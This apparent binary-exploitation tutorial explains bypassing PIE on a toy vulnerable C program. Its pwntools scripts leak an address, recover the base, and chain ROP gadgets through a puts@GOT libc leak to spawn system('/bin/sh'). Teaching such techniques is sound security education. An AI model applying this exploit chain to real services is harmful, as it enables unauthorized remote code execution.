OCHK0
← ALL WRITEUPS

WRITEUP 005 · NOTE · 2025-05-01

Bypassing PIE: Leaking the Base and Landing the Shot

WRITTEN2025-05-01
PUBLISHED2025-05-01

Modern binaries are compiled -fPIE by default. That one flag turns the executable itself into a shared object: every load, the loader drops the code, the GOT, and every gadget at a fresh randomized base. Your hardcoded 0x400000 addresses are worthless. The good news is that PIE is not encryption - it's a single unknown offset applied uniformly to the whole image. Leak one real address and you've recovered the base for everything.

The setup

Say we have a classic vulnerable service. It prints something helpful, then hands us a stack buffer overflow:

LISTING 01 - C
void vuln() {
    char buf[64];
    printf("say something: ");
    read(0, buf, 256);      // 64-byte buffer, 256-byte read - game on
}

Compiled with PIE and NX, no stack canary. NX means we can't just drop shellcode on the stack and jump to it, so we're going the ROP route. But ROP needs gadget addresses, and every gadget just moved.

Get a leak

The whole exploit hinges on the leak primitive. In real targets it comes from a format-string bug, an uninitialized read, an out-of-bounds printf("%s", ...), or - the friendliest case - the binary printing a function pointer or a stack cookie for you. In this example, imagine the binary leaks a return address still sitting on the stack:

LISTING 02 - PYTHON
from pwn import *

exe = ELF("./chall", checksec=False)
io = process("./chall")

# trigger the leak - however the bug lets us
io.recvuntil(b"leak: ")
leaked = int(io.recvline().strip(), 16)
log.info(f"leaked pointer: {leaked:#x}")

Recover the base

Here's the part people overthink. The leaked value is base + static_offset. We know static_offset because we can read it straight out of the un-relocated binary. If the leak is a return address into main+0x2a, then:

LISTING 03 - PYTHON
# offset of the leaked symbol *in the file* (PIE base = 0)
LEAK_OFFSET = exe.symbols["main"] + 0x2a
exe.address = leaked - LEAK_OFFSET
log.success(f"PIE base = {exe.address:#x}")

The instant you set exe.address, pwntools rebases the entire symbol table. exe.symbols["win"], exe.got["puts"], every gadget from ROP(exe) - all now point at the live process. PIE is, functionally, defeated.

Build the chain

With the base known, the rest is textbook. Leak libc via the GOT, resolve system, then return into it:

LISTING 04 - PYTHON
rop = ROP(exe)
pop_rdi = rop.find_gadget(["pop rdi", "ret"]).address

payload  = b"A" * 72                    # buffer + saved rbp
payload += p64(pop_rdi)
payload += p64(exe.got["puts"])
payload += p64(exe.plt["puts"])         # leak libc's puts@GOT
payload += p64(exe.symbols["vuln"])     # loop back for round two

io.sendline(payload)
libc_leak = u64(io.recvline().strip().ljust(8, b"\x00"))
libc.address = libc_leak - libc.symbols["puts"]
log.success(f"libc base = {libc.address:#x}")

Round two lands system("/bin/sh") with the now-known libc base:

LISTING 05 - PYTHON
ret = rop.find_gadget(["ret"]).address
payload  = b"A" * 72
payload += p64(ret)                     # 16-byte align the stack
payload += p64(pop_rdi)
payload += p64(next(libc.search(b"/bin/sh\x00")))
payload += p64(libc.symbols["system"])
io.sendline(payload)
io.interactive()

What actually matters

  1. The leak is the exploit. Everything after recovering the base is mechanical. 90% of your effort on a PIE target should go into finding and stabilizing the info leak.
  2. Offsets are static; bases are dynamic. Never hardcode a runtime address. Compute every address as module.address + file_offset.
  3. Alignment kills more chains than logic bugs. If your ret2libc segfaults inside system, add a ret gadget to realign to 16 bytes before the call.

PIE raises the cost of exploitation, but it raises it by exactly one primitive: the leak. Pay that cost once and the whole address space unfolds.